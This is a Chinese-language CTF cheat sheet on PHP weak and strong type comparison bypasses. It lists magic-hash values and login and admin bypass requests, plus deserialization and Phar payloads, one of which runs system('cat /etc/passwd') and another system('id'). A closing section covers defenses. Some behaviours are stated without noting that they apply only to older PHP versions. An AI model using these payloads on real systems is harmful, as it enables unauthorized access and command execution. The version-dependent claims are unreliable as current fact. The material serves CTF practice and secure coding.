php弱类型和强类型绕过
大约 6 分钟
php弱类型和强类型绕过
一、弱类型比较原理与基础
1. PHP弱类型比较原理
// ZVAL结构自动类型转换
"123abc" == 123 // true - 字符串转数字取前导数字
"abc" == 0 // true - 无数字字符串转为0
"0e123" == "0e456" // true - 科学计数法都等于0
true == "nonempty" // true - 非空字符串转布尔
false == "" // true - 空字符串转布尔
null == 0 // true - NULL与0等价
[] == false // true - 空数组转布尔
2. 常用弱类型比较表
| 值A | 值B | == | 结果 | 原理 |
|---|---|---|---|---|
| "123abc" | 123 | true | 字符串转数字 | |
| "abc" | 0 | true | 非数字字符串转0 | |
| "0e123" | "0e456" | true | 科学计数法等于0 | |
| true | "nonempty" | true | 非空字符串转true | |
| false | "" | true | 空字符串转false | |
| false | "0" | true | 字符串"0"转false | |
| null | "" | true | NULL与空字符串等价 | |
| [] | false | true | 空数组转false | |
| [0] | true | true | 非空数组转true |
二、弱类型比较绕过技巧
1. 字符串转数字绕过
// 登录认证绕过
if ($_POST['password'] == $stored_password) {
// 认证通过
}
// 绕过payload
password=0 // 如果存储密码是字符串"0"
password=123abc // 如果存储密码是数字123
2. 布尔值转换绕过
// 管理员检查
if ($_GET['is_admin'] == 1) {
$is_admin = true;
}
// 绕过payload
?is_admin=true
?is_admin=any_non_empty_string
?is_admin[]=1
3. 数组绕过技巧
// 多种数组绕过场景
?param[]=1 // 数组转布尔为true
?param[]=0 // 非空数组仍为true
// 函数参数数组绕过
strcmp($password, $secret) // 传入password[]=1返回NULL
md5($input) // 传入input[]=1返回NULL
sha1($input) // 传入input[]=1返回NULL
(1) NULL和空值绕过
// NULL比较绕过
if ($input != null && $input == $expected) {
// 逻辑
}
// 绕过:传入未定义变量或空值
三、MD5弱类型比较绕过
1. 0e开头的MD5碰撞值
// 常用MD5 0e碰撞对
"QNKCDZO" => md5("QNKCDZO") = 0e830400451993494058024219903391
"240610708" => md5("240610708") = 0e462097431906509019562988736854
"s878926199a" => md5("s878926199a") = 0e545993274517709034328855841020
"s155964671a" => md5("s155964671a") = 0e224554469729743682514287925705
"s214587387a" => md5("s214587387a") = 0e848240448830537924465865611904
"s1091221200a" => md5("s1091221200a") = 0e940624217304561344328734924278
2. SHA1 0e碰撞值
"10932435112" => sha1("10932435112") = 0e07766915004133176347055865026311692244
"aaroZmOk" => sha1("aaroZmOk") = 0e66507019969427134894567494305185566735
"aaK1STfY" => sha1("aaK1STfY") = 0e76658526655756207688271159624026011393
3. 数组绕过MD5比较
// MD5处理数组返回NULL
md5([]) === NULL
md5($a) == md5($b) // 当$a和$b都是数组时,NULL == NULL
// 实战payload
POST /login.php
username=admin&password[]=1
(1)MD5比较绕过场景
// 场景1:直接MD5比较
if (md5($_GET['a']) == md5($_GET['b'])) {
// 绕过:a=QNKCDZO&b=240610708
// 绕过:a[]=1&b[]=2
}
// 场景2:MD5与固定值比较
if (md5($input) == "0e123456...") {
// 绕过:input=已知的0e开头MD5原值
}
四、强类型比较绕过技巧
1. 反序列化对象注入
// 漏洞代码
class User {
public $is_admin = false;
}
$user = unserialize($_GET['data']);
if ($user->is_admin === true) {
// 管理员操作
}
// 绕过payload
data=O:4:"User":1:{s:8:"is_admin";b:1;}
2. 魔术方法利用
class AdminCheck {
private $admin = false;
public function __wakeup() {
// 反序列化时自动执行
$this->admin = true;
}
public function __destruct() {
if ($this->admin) {
// 执行管理员操作
}
}
}
// 绕过:通过反序列化触发魔术方法
3. 类型混淆进阶技巧
// 数字溢出绕过
if ($input === 2147483647) {
// 32位系统:2147483648 溢出为 -2147483648
}
// 浮点数精度问题
if ($float === 0.1) {
// 0.1 + 0.2 !== 0.3
// 利用精度误差
}
// 特殊字符串处理
if (strpos($input, "admin") === false) {
// 如果$input是数组,strpos返回NULL,NULL === false 为 false
}
4. 函数特性绕过
// preg_match() 数组绕过
if (preg_match('/^[a-z]+$/', $_POST['input'])) {
// 如果input是数组,preg_match返回false,条件不成立
}
// in_array() 严格模式缺失
$allowed = ['1', '2', '3'];
if (in_array($_GET['id'], $allowed)) {
// 忘记严格模式,id=1(整数)可以匹配'1'
}
// switch 类型自动转换
switch ($_GET['type']) {
case 'admin':
// 管理员逻辑
break;
case 'user':
// 用户逻辑
break;
}
// 绕过:type=0 匹配到第一个case(PHP将字符串与0比较)
5. Phar反序列化攻击
// 利用phar协议触发反序列化
file_exists('phar://malicious.phar/test.txt');
// 构造恶意phar文件
class Exploit {
public function __wakeup() {
system('cat /etc/passwd');
}
}
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata(new Exploit());
$phar->stopBuffering();
五、CTF实战场景与Payload
1. 登录认证绕过场景
# 弱类型比较登录
POST /login.php
username=admin&password=0
# MD5哈希绕过
POST /login.php
username=admin&password=QNKCDZO
# 数组绕过哈希检查
POST /login.php
username=admin&password[]=1
# JSON格式绕过
POST /api/login
{"username":"admin","password":true}
2. 管理员权限提升场景
# 布尔值转换
GET /admin.php?is_admin=true
GET /admin.php?is_admin=1
# 科学计数法
GET /admin.php?role=0e123
# 反序列化对象注入
GET /admin.php?data=O:11:"AdminObject":1:{s:6:"admin";b:1;}
# 数组键名覆盖
GET /admin.php?user[id]=0&user[admin]=1
3. 哈希比较绕过场景
# MD5 0e碰撞
GET /compare.php?a=QNKCDZO&b=240610708
# 数组绕过哈希
GET /compare.php?a[]=1&b[]=2
# SHA1碰撞
GET /verify.php?hash1=10932435112&hash2=aaroZmOk
4. 文件包含与反序列化
# Phar反序列化
GET /view.php?file=phar://uploads/exploit.phar/test.txt
# 数据流包装器
GET /include.php?page=data://text/plain,<?php system('id');?>
# 反序列化链
POST /api.php
data=O:15:"VulnerableClass":2:{s:4:"code";s:10:"system(id)";s:6:"method";s:6:"system";}
六、防御措施与安全编码
1. 输入验证与过滤
// 严格类型检查
function validate_input($input, $expected_type) {
if (gettype($input) !== $expected_type) {
return false;
}
return true;
}
// 白名单验证
$allowed_values = ['admin', 'user', 'guest'];
if (!in_array($input, $allowed_values, true)) { // 注意严格模式
return false;
}
2. 安全比较函数
// 使用hash_equals防止时序攻击
if (hash_equals($hashed_password, md5($input))) {
// 认证通过
}
// 类型安全比较
function safe_equals($a, $b) {
if (gettype($a) !== gettype($b)) {
return false;
}
return $a === $b;
}
3. 安全反序列化
// 限制反序列化类
$allowed_classes = ['SafeClass1', 'SafeClass2'];
$data = unserialize($input, ['allowed_classes' => $allowed_classes]);
// 使用json替代序列化
$data = json_decode($input, true);
if (json_last_error() !== JSON_ERROR_NONE) {
// 处理错误
}
4. 安全配置
// 禁用危险函数
disable_functions = exec,system,passthru,shell_exec
// 限制文件操作
open_basedir = /var/www/html
// 错误报告设置
display_errors = Off
log_errors = On
七、CTF解题检查清单
遇到类型比较时的检查步骤:
第一步:识别比较类型
查看使用的是 == 还是 ===
检查比较的变量类型
第二步:尝试基础绕过
// 弱类型比较尝试
尝试: 0, true, false, null, [], 科学计数法
// MD5比较尝试
尝试: 已知0e碰撞值、数组绕过
第三步:高级绕过尝试
// 强类型比较尝试
反序列化对象注入
Phar反序列化
函数特性绕过
类型混淆技巧
第四步:组合利用
// 多步骤利用
反序列化 + 魔术方法
文件包含 + Phar
数组绕过 + 函数特性
常用Payload速查表:
弱类型比较: 0, true, "0e123", [], "123abc"
MD5绕过: QNKCDZO, 240610708, s878926199a, 数组
强类型绕过: 反序列化对象、Phar、函数参数数组
这份指南涵盖了CTF中PHP类型比较漏洞的主要攻击面和防御方法,在比赛过程中可以根据具体场景快速查阅对应的绕过技巧。记住要根据实际代码逻辑选择合适的payload,多尝试不同的组合方式!
Loading...
